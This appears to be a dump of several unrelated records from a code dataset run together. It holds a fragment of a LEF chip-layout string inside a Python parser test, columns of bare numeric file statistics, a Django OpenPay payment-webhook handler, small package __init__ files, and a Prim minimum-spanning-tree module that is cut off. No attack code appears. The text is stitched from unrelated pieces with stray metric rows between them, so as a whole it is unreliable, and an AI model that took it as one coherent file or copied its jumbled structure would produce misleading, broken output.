0.2040 5.1920 4.9160 5.2240 ; LAYER M2 ; RECT 0.2040 6.0320 4.9160 6.0640 ; END END G PIN D DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.3200 4.9160 0.3520 ; LAYER M2 ; RECT 0.2040 1.1600 4.9160 1.1920 ; LAYER M2 ; RECT 0.2040 2.0000 4.9160 2.0320 ; LAYER M2 ; RECT 0.2040 2.8400 4.9160 2.8720 ; LAYER M2 ; RECT 0.2040 3.6800 4.9160 3.7120 ; LAYER M2 ; RECT 0.2040 4.5200 4.9160 4.5520 ; LAYER M2 ; RECT 0.2040 5.3600 4.9160 5.3920 ; LAYER M2 ; RECT 0.2040 6.2000 4.9160 6.2320 ; END END D OBS LAYER M3 ; RECT 0.2240 0.2160 0.2560 6.1680 ; LAYER M3 ; RECT 0.3040 0.1320 0.3360 6.0840 ; LAYER M3 ; RECT 0.3840 0.3000 0.4160 6.2520 ; LAYER M1 ; RECT 0.2240 0.1320 0.2560 0.7080 ; LAYER M1 ; RECT 0.8640 0.1320 0.8960 0.7080 ; LAYER M1 ; RECT 1.5040 0.1320 1.5360 0.7080 ; LAYER M1 ; RECT 2.1440 0.1320 2.1760 0.7080 ; LAYER M1 ; RECT 2.7840 0.1320 2.8160 0.7080 ; LAYER M1 ; RECT 3.4240 0.1320 3.4560 0.7080 ; LAYER M1 ; RECT 4.0640 0.1320 4.0960 0.7080 ; LAYER M1 ; RECT 4.7040 0.1320 4.7360 0.7080 ; LAYER M1 ; RECT 0.3840 0.1320 0.4160 0.7080 ; LAYER M1 ; RECT 1.0240 0.1320 1.0560 0.7080 ; LAYER M1 ; RECT 1.6640 0.1320 1.6960 0.7080 ; LAYER M1 ; RECT 2.3040 0.1320 2.3360 0.7080 ; LAYER M1 ; RECT 2.9440 0.1320 2.9760 0.7080 ; LAYER M1 ; RECT 3.5840 0.1320 3.6160 0.7080 ; LAYER M1 ; RECT 4.2240 0.1320 4.2560 0.7080 ; LAYER M1 ; RECT 4.8640 0.1320 4.8960 0.7080 ; LAYER M1 ; RECT 0.3040 0.1320 0.3360 0.7080 ; LAYER M1 ; RECT 0.9440 0.1320 0.9760 0.7080 ; LAYER M1 ; RECT 1.5840 0.1320 1.6160 0.7080 ; LAYER M1 ; RECT 2.2240 0.1320 2.2560 0.7080 ; LAYER M1 ; RECT 2.8640 0.1320 2.8960 0.7080 ; LAYER M1 ; RECT 3.5040 0.1320 3.5360 0.7080 ; LAYER M1 ; RECT 4.1440 0.1320 4.1760 0.7080 ; LAYER M1 ; RECT 4.7840 0.1320 4.8160 0.7080 ; LAYER M1 ; RECT 0.2240 0.9720 0.2560 1.5480 ; LAYER M1 ; RECT 0.8640 0.9720 0.8960 1.5480 ; LAYER M1 ; RECT 1.5040 0.9720 1.5360 1.5480 ; LAYER M1 ; RECT 2.1440 0.9720 2.1760 1.5480 ; LAYER M1 ; RECT 2.7840 0.9720 2.8160 1.5480 ; LAYER M1 ; RECT 3.4240 0.9720 3.4560 1.5480 ; LAYER M1 ; RECT 4.0640 0.9720 4.0960 1.5480 ; LAYER M1 ; RECT 4.7040 0.9720 4.7360 1.5480 ; LAYER M1 ; RECT 0.3840 0.9720 0.4160 1.5480 ; LAYER M1 ; RECT 1.0240 0.9720 1.0560 1.5480 ; LAYER M1 ; RECT 1.6640 0.9720 1.6960 1.5480 ; LAYER M1 ; RECT 2.3040 0.9720 2.3360 1.5480 ; LAYER M1 ; RECT 2.9440 0.9720 2.9760 1.5480 ; LAYER M1 ; RECT 3.5840 0.9720 3.6160 1.5480 ; LAYER M1 ; RECT 4.2240 0.9720 4.2560 1.5480 ; LAYER M1 ; RECT 4.8640 0.9720 4.8960 1.5480 ; LAYER M1 ; RECT 0.3040 0.9720 0.3360 1.5480 ; LAYER M1 ; RECT 0.9440 0.9720 0.9760 1.5480 ; LAYER M1 ; RECT 1.5840 0.9720 1.6160 1.5480 ; LAYER M1 ; RECT 2.2240 0.9720 2.2560 1.5480 ; LAYER M1 ; RECT 2.8640 0.9720 2.8960 1.5480 ; LAYER M1 ; RECT 3.5040 0.9720 3.5360 1.5480 ; LAYER M1 ; RECT 4.1440 0.9720 4.1760 1.5480 ; LAYER M1 ; RECT 4.7840 0.9720 4.8160 1.5480 ; LAYER M1 ; RECT 0.2240 1.8120 0.2560 2.3880 ; LAYER M1 ; RECT 0.8640 1.8120 0.8960 2.3880 ; LAYER M1 ; RECT 1.5040 1.8120 1.5360 2.3880 ; LAYER M1 ; RECT 2.1440 1.8120 2.1760 2.3880 ; LAYER M1 ; RECT 2.7840 1.8120 2.8160 2.3880 ; LAYER M1 ; RECT 3.4240 1.8120 3.4560 2.3880 ; LAYER M1 ; RECT 4.0640 1.8120 4.0960 2.3880 ; LAYER M1 ; RECT 4.7040 1.8120 4.7360 2.3880 ; LAYER M1 ; RECT 0.3840 1.8120 0.4160 2.3880 ; LAYER M1 ; RECT 1.0240 1.8120 1.0560 2.3880 ; LAYER M1 ; RECT 1.6640 1.8120 1.6960 2.3880 ; LAYER M1 ; RECT 2.3040 1.8120 2.3360 2.3880 ; LAYER M1 ; RECT 2.9440 1.8120 2.9760 2.3880 ; LAYER M1 ; RECT 3.5840 1.8120 3.6160 2.3880 ; LAYER M1 ; RECT 4.2240 1.8120 4.2560 2.3880 ; LAYER M1 ; RECT 4.8640 1.8120 4.8960 2.3880 ; LAYER M1 ; RECT 0.3040 1.8120 0.3360 2.3880 ; LAYER M1 ; RECT 0.9440 1.8120 0.9760 2.3880 ; LAYER M1 ; RECT 1.5840 1.8120 1.6160 2.3880 ; LAYER M1 ; RECT 2.2240 1.8120 2.2560 2.3880 ; LAYER M1 ; RECT 2.8640 1.8120 2.8960 2.3880 ; LAYER M1 ; RECT 3.5040 1.8120 3.5360 2.3880 ; LAYER M1 ; RECT 4.1440 1.8120 4.1760 2.3880 ; LAYER M1 ; RECT 4.7840 1.8120 4.8160 2.3880 ; LAYER M1 ; RECT 0.2240 2.6520 0.2560 3.2280 ; LAYER M1 ; RECT 0.8640 2.6520 0.8960 3.2280 ; LAYER M1 ; RECT 1.5040 2.6520 1.5360 3.2280 ; LAYER M1 ; RECT 2.1440 2.6520 2.1760 3.2280 ; LAYER M1 ; RECT 2.7840 2.6520 2.8160 3.2280 ; LAYER M1 ; RECT 3.4240 2.6520 3.4560 3.2280 ; LAYER M1 ; RECT 4.0640 2.6520 4.0960 3.2280 ; LAYER M1 ; RECT 4.7040 2.6520 4.7360 3.2280 ; LAYER M1 ; RECT 0.3840 2.6520 0.4160 3.2280 ; LAYER M1 ; RECT 1.0240 2.6520 1.0560 3.2280 ; LAYER M1 ; RECT 1.6640 2.6520 1.6960 3.2280 ; LAYER M1 ; RECT 2.3040 2.6520 2.3360 3.2280 ; LAYER M1 ; RECT 2.9440 2.6520 2.9760 3.2280 ; LAYER M1 ; RECT 3.5840 2.6520 3.6160 3.2280 ; LAYER M1 ; RECT 4.2240 2.6520 4.2560 3.2280 ; LAYER M1 ; RECT 4.8640 2.6520 4.8960 3.2280 ; LAYER M1 ; RECT 0.3040 2.6520 0.3360 3.2280 ; LAYER M1 ; RECT 0.9440 2.6520 0.9760 3.2280 ; LAYER M1 ; RECT 1.5840 2.6520 1.6160 3.2280 ; LAYER M1 ; RECT 2.2240 2.6520 2.2560 3.2280 ; LAYER M1 ; RECT 2.8640 2.6520 2.8960 3.2280 ; LAYER M1 ; RECT 3.5040 2.6520 3.5360 3.2280 ; LAYER M1 ; RECT 4.1440 2.6520 4.1760 3.2280 ; LAYER M1 ; RECT 4.7840 2.6520 4.8160 3.2280 ; LAYER M1 ; RECT 0.2240 3.4920 0.2560 4.0680 ; LAYER M1 ; RECT 0.8640 3.4920 0.8960 4.0680 ; LAYER M1 ; RECT 1.5040 3.4920 1.5360 4.0680 ; LAYER M1 ; RECT 2.1440 3.4920 2.1760 4.0680 ; LAYER M1 ; RECT 2.7840 3.4920 2.8160 4.0680 ; LAYER M1 ; RECT 3.4240 3.4920 3.4560 4.0680 ; LAYER M1 ; RECT 4.0640 3.4920 4.0960 4.0680 ; LAYER M1 ; RECT 4.7040 3.4920 4.7360 4.0680 ; LAYER M1 ; RECT 0.3840 3.4920 0.4160 4.0680 ; LAYER M1 ; RECT 1.0240 3.4920 1.0560 4.0680 ; LAYER M1 ; RECT 1.6640 3.4920 1.6960 4.0680 ; LAYER M1 ; RECT 2.3040 3.4920 2.3360 4.0680 ; LAYER M1 ; RECT 2.9440 3.4920 2.9760 4.0680 ; LAYER M1 ; RECT 3.5840 3.4920 3.6160 4.0680 ; LAYER M1 ; RECT 4.2240 3.4920 4.2560 4.0680 ; LAYER M1 ; RECT 4.8640 3.4920 4.8960 4.0680 ; LAYER M1 ; RECT 0.3040 3.4920 0.3360 4.0680 ; LAYER M1 ; RECT 0.9440 3.4920 0.9760 4.0680 ; LAYER M1 ; RECT 1.5840 3.4920 1.6160 4.0680 ; LAYER M1 ; RECT 2.2240 3.4920 2.2560 4.0680 ; LAYER M1 ; RECT 2.8640 3.4920 2.8960 4.0680 ; LAYER M1 ; RECT 3.5040 3.4920 3.5360 4.0680 ; LAYER M1 ; RECT 4.1440 3.4920 4.1760 4.0680 ; LAYER M1 ; RECT 4.7840 3.4920 4.8160 4.0680 ; LAYER M1 ; RECT 0.2240 4.3320 0.2560 4.9080 ; LAYER M1 ; RECT 0.8640 4.3320 0.8960 4.9080 ; LAYER M1 ; RECT 1.5040 4.3320 1.5360 4.9080 ; LAYER M1 ; RECT 2.1440 4.3320 2.1760 4.9080 ; LAYER M1 ; RECT 2.7840 4.3320 2.8160 4.9080 ; LAYER M1 ; RECT 3.4240 4.3320 3.4560 4.9080 ; LAYER M1 ; RECT 4.0640 4.3320 4.0960 4.9080 ; LAYER M1 ; RECT 4.7040 4.3320 4.7360 4.9080 ; LAYER M1 ; RECT 0.3840 4.3320 0.4160 4.9080 ; LAYER M1 ; RECT 1.0240 4.3320 1.0560 4.9080 ; LAYER M1 ; RECT 1.6640 4.3320 1.6960 4.9080 ; LAYER M1 ; RECT 2.3040 4.3320 2.3360 4.9080 ; LAYER M1 ; RECT 2.9440 4.3320 2.9760 4.9080 ; LAYER M1 ; RECT 3.5840 4.3320 3.6160 4.9080 ; LAYER M1 ; RECT 4.2240 4.3320 4.2560 4.9080 ; LAYER M1 ; RECT 4.8640 4.3320 4.8960 4.9080 ; LAYER M1 ; RECT 0.3040 4.3320 0.3360 4.9080 ; LAYER M1 ; RECT 0.9440 4.3320 0.9760 4.9080 ; LAYER M1 ; RECT 1.5840 4.3320 1.6160 4.9080 ; LAYER M1 ; RECT 2.2240 4.3320 2.2560 4.9080 ; LAYER M1 ; RECT 2.8640 4.3320 2.8960 4.9080 ; LAYER M1 ; RECT 3.5040 4.3320 3.5360 4.9080 ; LAYER M1 ; RECT 4.1440 4.3320 4.1760 4.9080 ; LAYER M1 ; RECT 4.7840 4.3320 4.8160 4.9080 ; LAYER M1 ; RECT 0.2240 5.1720 0.2560 5.7480 ; LAYER M1 ; RECT 0.8640 5.1720 0.8960 5.7480 ; LAYER M1 ; RECT 1.5040 5.1720 1.5360 5.7480 ; LAYER M1 ; RECT 2.1440 5.1720 2.1760 5.7480 ; LAYER M1 ; RECT 2.7840 5.1720 2.8160 5.7480 ; LAYER M1 ; RECT 3.4240 5.1720 3.4560 5.7480 ; LAYER M1 ; RECT 4.0640 5.1720 4.0960 5.7480 ; LAYER M1 ; RECT 4.7040 5.1720 4.7360 5.7480 ; LAYER M1 ; RECT 0.3840 5.1720 0.4160 5.7480 ; LAYER M1 ; RECT 1.0240 5.1720 1.0560 5.7480 ; LAYER M1 ; RECT 1.6640 5.1720 1.6960 5.7480 ; LAYER M1 ; RECT 2.3040 5.1720 2.3360 5.7480 ; LAYER M1 ; RECT 2.9440 5.1720 2.9760 5.7480 ; LAYER M1 ; RECT 3.5840 5.1720 3.6160 5.7480 ; LAYER M1 ; RECT 4.2240 5.1720 4.2560 5.7480 ; LAYER M1 ; RECT 4.8640 5.1720 4.8960 5.7480 ; LAYER M1 ; RECT 0.3040 5.1720 0.3360 5.7480 ; LAYER M1 ; RECT 0.9440 5.1720 0.9760 5.7480 ; LAYER M1 ; RECT 1.5840 5.1720 1.6160 5.7480 ; LAYER M1 ; RECT 2.2240 5.1720 2.2560 5.7480 ; LAYER M1 ; RECT 2.8640 5.1720 2.8960 5.7480 ; LAYER M1 ; RECT 3.5040 5.1720 3.5360 5.7480 ; LAYER M1 ; RECT 4.1440 5.1720 4.1760 5.7480 ; LAYER M1 ; RECT 4.7840 5.1720 4.8160 5.7480 ; LAYER M1 ; RECT 0.2240 6.0120 0.2560 6.5880 ; LAYER M1 ; RECT 0.8640 6.0120 0.8960 6.5880 ; LAYER M1 ; RECT 1.5040 6.0120 1.5360 6.5880 ; LAYER M1 ; RECT 2.1440 6.0120 2.1760 6.5880 ; LAYER M1 ; RECT 2.7840 6.0120 2.8160 6.5880 ; LAYER M1 ; RECT 3.4240 6.0120 3.4560 6.5880 ; LAYER M1 ; RECT 4.0640 6.0120 4.0960 6.5880 ; LAYER M1 ; RECT 4.7040 6.0120 4.7360 6.5880 ; LAYER M1 ; RECT 0.3840 6.0120 0.4160 6.5880 ; LAYER M1 ; RECT 1.0240 6.0120 1.0560 6.5880 ; LAYER M1 ; RECT 1.6640 6.0120 1.6960 6.5880 ; LAYER M1 ; RECT 2.3040 6.0120 2.3360 6.5880 ; LAYER M1 ; RECT 2.9440 6.0120 2.9760 6.5880 ; LAYER M1 ; RECT 3.5840 6.0120 3.6160 6.5880 ; LAYER M1 ; RECT 4.2240 6.0120 4.2560 6.5880 ; LAYER M1 ; RECT 4.8640 6.0120 4.8960 6.5880 ; LAYER M1 ; RECT 0.3040 6.0120 0.3360 6.5880 ; LAYER M1 ; RECT 0.9440 6.0120 0.9760 6.5880 ; LAYER M1 ; RECT 1.5840 6.0120 1.6160 6.5880 ; LAYER M1 ; RECT 2.2240 6.0120 2.2560 6.5880 ; LAYER M1 ; RECT 2.8640 6.0120 2.8960 6.5880 ; LAYER M1 ; RECT 3.5040 6.0120 3.5360 6.5880 ; LAYER M1 ; RECT 4.1440 6.0120 4.1760 6.5880 ; LAYER M1 ; RECT 4.7840 6.0120 4.8160 6.5880 ; END END Switch_NMOS_n10_X8_Y8 MACRO Switch_PMOS_n10_X5_Y2 ORIGIN 0 0 ; FOREIGN Switch_PMOS_n10_X5_Y2 0 0 ; SIZE 3.2000 BY 1.7640 ; PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.2360 2.9960 0.2680 ; LAYER M2 ; RECT 0.2040 1.0760 2.9960 1.1080 ; END END S PIN G DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.1520 2.9960 0.1840 ; LAYER M2 ; RECT 0.2040 0.9920 2.9960 1.0240 ; END END G PIN D DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.3200 2.9960 0.3520 ; LAYER M2 ; RECT 0.2040 1.1600 2.9960 1.1920 ; END END D OBS LAYER M3 ; RECT 0.2240 0.2160 0.2560 1.1280 ; LAYER M3 ; RECT 0.3040 0.1320 0.3360 1.0440 ; LAYER M3 ; RECT 0.3840 0.3000 0.4160 1.2120 ; LAYER M1 ; RECT 0.2240 0.1320 0.2560 0.7080 ; LAYER M1 ; RECT 0.8640 0.1320 0.8960 0.7080 ; LAYER M1 ; RECT 1.5040 0.1320 1.5360 0.7080 ; LAYER M1 ; RECT 2.1440 0.1320 2.1760 0.7080 ; LAYER M1 ; RECT 2.7840 0.1320 2.8160 0.7080 ; LAYER M1 ; RECT 0.3840 0.1320 0.4160 0.7080 ; LAYER M1 ; RECT 1.0240 0.1320 1.0560 0.7080 ; LAYER M1 ; RECT 1.6640 0.1320 1.6960 0.7080 ; LAYER M1 ; RECT 2.3040 0.1320 2.3360 0.7080 ; LAYER M1 ; RECT 2.9440 0.1320 2.9760 0.7080 ; LAYER M1 ; RECT 0.3040 0.1320 0.3360 0.7080 ; LAYER M1 ; RECT 0.9440 0.1320 0.9760 0.7080 ; LAYER M1 ; RECT 1.5840 0.1320 1.6160 0.7080 ; LAYER M1 ; RECT 2.2240 0.1320 2.2560 0.7080 ; LAYER M1 ; RECT 2.8640 0.1320 2.8960 0.7080 ; LAYER M1 ; RECT 0.2240 0.9720 0.2560 1.5480 ; LAYER M1 ; RECT 0.8640 0.9720 0.8960 1.5480 ; LAYER M1 ; RECT 1.5040 0.9720 1.5360 1.5480 ; LAYER M1 ; RECT 2.1440 0.9720 2.1760 1.5480 ; LAYER M1 ; RECT 2.7840 0.9720 2.8160 1.5480 ; LAYER M1 ; RECT 0.3840 0.9720 0.4160 1.5480 ; LAYER M1 ; RECT 1.0240 0.9720 1.0560 1.5480 ; LAYER M1 ; RECT 1.6640 0.9720 1.6960 1.5480 ; LAYER M1 ; RECT 2.3040 0.9720 2.3360 1.5480 ; LAYER M1 ; RECT 2.9440 0.9720 2.9760 1.5480 ; LAYER M1 ; RECT 0.3040 0.9720 0.3360 1.5480 ; LAYER M1 ; RECT 0.9440 0.9720 0.9760 1.5480 ; LAYER M1 ; RECT 1.5840 0.9720 1.6160 1.5480 ; LAYER M1 ; RECT 2.2240 0.9720 2.2560 1.5480 ; LAYER M1 ; RECT 2.8640 0.9720 2.8960 1.5480 ; END END Switch_PMOS_n10_X5_Y2 """ lp = LEFParser() lp.parse(txt)
26.255399
46
0.553904
21,496
111,848
2.872721
0.016096
0.169582
0.266485
0.075981
0.940277
0.922367
0.8573
0.850806
0.845187
0.812087
0
0.533505
0.345165
111,848
4,259
47
26.261564
0.309617
0
0
0.872766
0
0
0.998373
0.004694
0
0
0
0
0
1
0.00047
false
0
0.000235
0
0.000706
0
0
0
0
null
0
1
0
1
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
1
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
11
d1fea1e15911cea1345c31a5e1b6bd75b24dcd5e
8,726
py
Python
django_openpay/webhooks.py
letops/django-openpay
4e9d050327a0e99b99031b771d8f3b670a91ddae
[ "MIT" ]
3
2016-12-06T01:30:15.000Z
2020-09-18T19:40:49.000Z
django_openpay/webhooks.py
letops/django-openpay
4e9d050327a0e99b99031b771d8f3b670a91ddae
[ "MIT" ]
5
2016-12-12T14:53:24.000Z
2022-01-06T20:58:54.000Z
django_openpay/webhooks.py
letops/django-openpay
4e9d050327a0e99b99031b771d8f3b670a91ddae
[ "MIT" ]
6
2017-01-04T11:52:24.000Z
2020-07-22T20:18:33.000Z
from django.utils.dateparse import parse_datetime, parse_date import logging from . import models logger = logging.getLogger(__name__) def safeCopy(json, items): for k in json: if k in items: if json[k] is None: json[k] = '' return json def verification(body): logger.info(body['verification_code']) def chargeRefunded(body): card = None customer = None subscription = None transaction = safeCopy(body['transaction'], [ 'authorization', 'error_message', 'order_id', 'description']) if 'customer_id' in transaction: customer = models.get_customer_model().objects.get( openpay_id=transaction['customer_id']) if 'subscription_id' in transaction: subscription = models.Subscription.objects.get( openpay_id=transaction['subscription_id']) if 'card' in transaction: if 'id' in transaction['card']: card = models.Card.objects.get( openpay_id=transaction['card']['id']) if not customer and 'customer_id' in transaction['card']: customer = models.get_customer_model().objects.get( openpay_id=transaction['card']['customer_id']) charge, created = models.Charge.objects.update_or_create( openpay_id=transaction['id'], defaults={ 'authorization': transaction['authorization'], 'method': transaction['method'], 'operation_type': transaction['operation_type'], 'transaction_type': transaction['transaction_type'], 'status': transaction['status'], 'conciliated': transaction['conciliated'], 'creation_date': parse_datetime(transaction['creation_date']), 'operation_date': parse_datetime(transaction['operation_date']), 'description': transaction['description'], 'error_message': transaction['error_message'], 'order_id': transaction['order_id'], 'amount': transaction['amount'], 'currency': transaction['currency'], 'customer': customer, 'card': card, }) transaction = safeCopy(transaction['refund'], [ 'authorization', 'error_message', 'order_id', 'description']) refund, created = models.Refund.objects.update_or_create( openpay_id=transaction['id'], defaults={ 'authorization': transaction['authorization'], 'method': transaction['method'], 'operation_type': transaction['operation_type'], 'transaction_type': transaction['transaction_type'], 'status': transaction['status'], 'conciliated': transaction['conciliated'], 'creation_date': parse_datetime(transaction['creation_date']), 'operation_date': parse_datetime(transaction['operation_date']), 'description': transaction['description'], 'error_message': transaction['error_message'], 'order_id': transaction['order_id'], 'amount': transaction['amount'], 'currency': transaction['currency'], 'customer': customer, 'charge': charge, }) def chargeCancelled(body): card = None customer = None subscription = None transaction = safeCopy(body['transaction'], [ 'authorization', 'error_message', 'order_id', 'description']) if 'customer_id' in transaction: customer = models.get_customer_model().objects.get( openpay_id=transaction['customer_id']) if 'subscription_id' in transaction: subscription = models.Subscription.objects.get( openpay_id=transaction['subscription_id']) if 'card' in transaction: if 'id' in transaction['card']: card = models.Card.objects.get( openpay_id=transaction['card']['id']) if not customer and 'customer_id' in transaction['card']: customer = models.get_customer_model().objects.get( openpay_id=transaction['card']['customer_id']) charge, created = models.Charge.objects.update_or_create( openpay_id=transaction['id'], defaults={ 'authorization': transaction['authorization'], 'method': transaction['method'], 'operation_type': transaction['operation_type'], 'transaction_type': transaction['transaction_type'], 'status': transaction['status'], 'conciliated': transaction['conciliated'], 'creation_date': parse_datetime(transaction['creation_date']), 'operation_date': parse_datetime(transaction['operation_date']), 'description': transaction['description'], 'error_message': transaction['error_message'], 'order_id': transaction['order_id'], 'amount': transaction['amount'], 'currency': transaction['currency'], 'customer': customer, 'card': card, 'subscription': subscription }) def chargeCreated(body): card = None customer = None subscription = None transaction = safeCopy(body['transaction'], [ 'authorization', 'error_message', 'order_id', 'description']) if 'customer_id' in transaction: customer = models.get_customer_model().objects.get( openpay_id=transaction['customer_id']) if 'subscription_id' in transaction: subscription = models.Subscription.objects.get( openpay_id=transaction['subscription_id']) if 'card' in transaction: if 'id' in transaction['card']: card = models.Card.objects.get( openpay_id=transaction['card']['id']) if not customer and 'customer_id' in transaction['card']: customer = models.get_customer_model().objects.get( openpay_id=transaction['card']['customer_id']) charge, created = models.Charge.objects.update_or_create( openpay_id=transaction['id'], defaults={ 'authorization': transaction['authorization'], 'method': transaction['method'], 'operation_type': transaction['operation_type'], 'transaction_type': transaction['transaction_type'], 'status': transaction['status'], 'conciliated': transaction['conciliated'], 'creation_date': parse_datetime(transaction['creation_date']), 'operation_date': parse_datetime(transaction['operation_date']), 'description': transaction['description'], 'error_message': transaction['error_message'], 'order_id': transaction['order_id'], 'amount': transaction['amount'], 'currency': transaction['currency'], 'customer': customer, 'card': card, 'subscription': subscription }) def chargeSucceeded(body): card = None customer = None subscription = None transaction = safeCopy(body['transaction'], [ 'authorization', 'error_message', 'order_id', 'description']) if 'customer_id' in transaction: customer = models.get_customer_model().objects.get( openpay_id=transaction['customer_id']) if 'subscription_id' in transaction: subscription = models.Subscription.objects.get( openpay_id=transaction['subscription_id']) if 'card' in transaction: if 'id' in transaction['card']: card = models.Card.objects.get( openpay_id=transaction['card']['id']) if not customer and 'customer_id' in transaction['card']: customer = models.get_customer_model().objects.get( openpay_id=transaction['card']['customer_id']) charge, created = models.Charge.objects.update_or_create( openpay_id=transaction['id'], defaults={ 'authorization': transaction['authorization'], 'method': transaction['method'], 'operation_type': transaction['operation_type'], 'transaction_type': transaction['transaction_type'], 'status': transaction['status'], 'conciliated': transaction['conciliated'], 'creation_date': parse_datetime(transaction['creation_date']), 'operation_date': parse_datetime(transaction['operation_date']), 'description': transaction['description'], 'error_message': transaction['error_message'], 'order_id': transaction['order_id'], 'amount': transaction['amount'], 'currency': transaction['currency'], 'customer': customer, 'card': card, 'subscription': subscription })
42.77451
76
0.615288
791
8,726
6.587863
0.079646
0.064863
0.080599
0.058338
0.930915
0.930915
0.922664
0.922664
0.922664
0.922664
0
0
0.253381
8,726
203
77
42.985222
0.799847
0
0
0.898936
0
0
0.250057
0
0
0
0
0
0
1
0.031915
false
0
0.015957
0
0.053191
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
06099ac39e7ce026150fee8e751f7a5d011e259c
36
py
Python
examples/fp/__init__.py
cdonovick/peak-examples
9d0799f1afafc801619a5cb15acd69603c49bb17
[ "MIT" ]
null
null
null
examples/fp/__init__.py
cdonovick/peak-examples
9d0799f1afafc801619a5cb15acd69603c49bb17
[ "MIT" ]
null
null
null
examples/fp/__init__.py
cdonovick/peak-examples
9d0799f1afafc801619a5cb15acd69603c49bb17
[ "MIT" ]
null
null
null
from . import isa from . import sim
12
17
0.722222
6
36
4.333333
0.666667
0.769231
0
0
0
0
0
0
0
0
0
0
0.222222
36
2
18
18
0.928571
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
ae4593c84830a3e448cb7b20d8e8bdefd94b91b4
152
py
Python
models/__init__.py
iamsofancyyoualreadyknow/IHC-based-labels-generation-and-semantic-segmentation-for-lung-cancer
57904544c6d6b43dcd5937afeb474c0a47456d98
[ "MIT" ]
null
null
null
models/__init__.py
iamsofancyyoualreadyknow/IHC-based-labels-generation-and-semantic-segmentation-for-lung-cancer
57904544c6d6b43dcd5937afeb474c0a47456d98
[ "MIT" ]
null
null
null
models/__init__.py
iamsofancyyoualreadyknow/IHC-based-labels-generation-and-semantic-segmentation-for-lung-cancer
57904544c6d6b43dcd5937afeb474c0a47456d98
[ "MIT" ]
null
null
null
from .model import DeepLabLFOVModel from .model import DeepLabV2Model from .model_unet import UnetModel from .image_reader import * from .utils import *
30.4
35
0.828947
20
152
6.2
0.5
0.217742
0.241935
0
0
0
0
0
0
0
0
0.007519
0.125
152
5
36
30.4
0.924812
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
ae97278418b4a009ba6f925fe76ac95085fbc95c
14,685
py
Python
graphtheory/spanningtrees/prim.py
gitter-badger/graphs-dict
2be1a5b140feb050eec799d6cadf6de5eef01745
[ "BSD-3-Clause" ]
36
2015-09-20T20:55:39.000Z
2021-09-20T05:49:03.000Z
graphtheory/spanningtrees/prim.py
gitter-badger/graphs-dict
2be1a5b140feb050eec799d6cadf6de5eef01745
[ "BSD-3-Clause" ]
6
2016-03-25T21:41:46.000Z
2020-02-12T03:18:59.000Z
graphtheory/spanningtrees/prim.py
gitter-badger/graphs-dict
2be1a5b140feb050eec799d6cadf6de5eef01745
[ "BSD-3-Clause" ]
9
2016-09-12T07:57:27.000Z
2022-03-21T16:15:39.000Z
#!/usr/bin/python try: from Queue import PriorityQueue except ImportError: # Python 3 from queue import PriorityQueue xrange = range from graphtheory.connectivity.connected import is_connected class PrimMST: """Prim's algorithm for finding a minimum spanning tree. The algorithm runs in O(E log V) time. Attributes ---------- graph : input undirected weighted graph or multigraph mst : graph (MST) distance : dict with nodes parent : dict with nodes (MST) _in_queue : dict, private _pq : priority queue, private Examples -------- >>> from graphtheory.structures.edges import Edge >>> from graphtheory.structures.graphs import Graph >>> from graphtheory.spanningtrees.prim import PrimMST >>> G = Graph(n=10, False) # an exemplary undirected graph # Add nodes and edges here. >>> algorithm = PrimMST(G) >>> algorithm.run() # calculations >>> algorithm.parent # MST as a dict >>> mst = algorithm.to_tree() # MST as an undirected graph Notes ----- Based on: Cormen, T. H., Leiserson, C. E., Rivest, R. L., and Stein, C., 2009, Introduction to Algorithms, third edition, The MIT Press, Cambridge, London. https://en.wikipedia.org/wiki/Prim's_algorithm. https://en.wikipedia.org/wiki/Minimum_spanning_tree """ def __init__(self, graph): """The algorithm initialization. Parameters ---------- graph : undirected weighted graph or multigraph """ if graph.is_directed(): raise ValueError("the graph is directed") self.graph = graph self.mst = None self.distance = dict((node, float("inf")) for node in self.graph.iternodes()) self.parent = dict((node, None) for node in self.graph.iternodes()) self._in_queue = dict((node, True) for node in self.graph.iternodes()) self._pq = PriorityQueue() def run(self, source=None): """Finding MST.""" if source is None: # get first random node source = next(self.graph.iternodes()) self.source = source self.distance[source] = 0 for node in self.graph.iternodes(): self._pq.put((self.distance[node], node)) while not self._pq.empty(): _, node = self._pq.get() if self._in_queue[node]: self._in_queue[node] = False else: continue for edge in self.graph.iteroutedges(node): if self._in_queue[edge.target] and edge.weight < self.distance[edge.target]: self.distance[edge.target] = edge.weight self.parent[edge.target] = edge.source # DECREASE-KEY self._pq.put((edge.weight, edge.target)) def to_tree(self): """The minimum spanning tree is built.""" self.mst = self.graph.__class__(self.graph.v(), directed=False) for node in self.graph.iternodes(): # isolated nodes are possible self.mst.add_node(node) for edge in self.graph.iteredges(): # O(E) time if (self.parent[edge.source] is edge.target and self.distance[edge.source] == edge.weight): self.mst.add_edge(edge) elif (self.parent[edge.target] is edge.source and self.distance[edge.target] == edge.weight): self.mst.add_edge(edge) return self.mst class PrimMSTWithEdges: """Prim's algorithm for finding a minimum spanning tree. Attributes ---------- graph : input undirected weighted graph or multigraph mst : graph (MST) distance : dict with nodes parent : dict with nodes (MST) _in_queue : dict, private _pq : priority queue, private """ def __init__(self, graph): """The algorithm initialization.""" self.graph = graph self.mst = None self.distance = dict((node, float("inf")) for node in self.graph.iternodes()) self.parent = dict((node, None) for node in self.graph.iternodes()) # MST as a dict self._in_queue = dict((node, True) for node in self.graph.iternodes()) self._pq = PriorityQueue() def run(self, source=None): """Executable pseudocode.""" if source is None: # get first random node source = next(self.graph.iternodes()) self.source = source self.distance[source] = 0 for node in 